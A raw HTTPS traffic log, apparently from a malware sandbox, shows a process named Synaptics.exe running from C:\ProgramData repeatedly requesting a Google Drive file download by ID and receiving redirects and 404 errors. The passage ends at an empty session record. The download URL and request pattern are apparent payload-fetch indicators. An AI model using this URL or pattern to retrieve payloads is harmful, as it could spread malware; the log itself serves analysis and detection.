2025-01-02 19:29:59 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:59 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:59 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-yJRp8PPnKH_WqNQhL2CE_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.9	50044	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:00 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:00 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:00 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-a-gVLG8nFhPOsP2nsuhQCw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.9	50045	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:00 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:00 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC61AdjwDCE993Lec3LWWuh7DTHH5AnsnCy0WiazRtbFAwIaDnmULXSb95YO87J9u8Ad Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:00 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-EyTL52QY_VYFb6mcynrYLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:00 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:30:00 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 72 57 33 4c 61 67 46 49 4f 6e 38 45 75 67 5a 75 34 65 69 31 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="crW3LagFIOn8EugZu4ei1g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:30:00 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.9	50046	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:00 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:00 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:00 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-GlkyHO3LpMt6szIyKZUt9w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.9	50047	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:00 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:00 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6DNWYeiua8F-5OD5eGnunBxwdN1_poTRqPj2UEovtk1f43IRU2kWyu3OYn1bXIKhwc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:00 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-VW-hgiZNhPwGmRDuhl3LkA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:00 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:30:00 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 4a 4a 44 50 63 35 38 39 34 4e 6e 64 34 61 71 64 65 76 7a 41 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="cJJDPc5894Nnd4aqdevzAA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:30:00 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.9	50064	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:01 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:02 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:02 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-bzb8oXJyF4URmdBXk0GjBg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.9	50063	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:01 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:02 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:02 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-LT0i3vk_qp_Khxzng-3FZg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.9	50073	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:02 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:03 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC71aGBmOJh2YiWecIkVLzp0KQjq8v0MlQA2WTa5VajLPIDRZiuGP9B4KlIF12FsLJE43QeuZM0 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:03 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-zJBqW50ToEMMhKOCSZ5CTQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:03 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:30:03 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 48 32 6c 6c 54 56 50 2d 4f 4f 7a 37 36 30 79 5a 4a 69 50 52 42 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="H2llTVP-OOz760yZJiPRBQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:30:03 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.9	50075	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:02 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:03 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:03 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-hkT3-CjNwElzwkN7PUKgMA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.9	50076	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
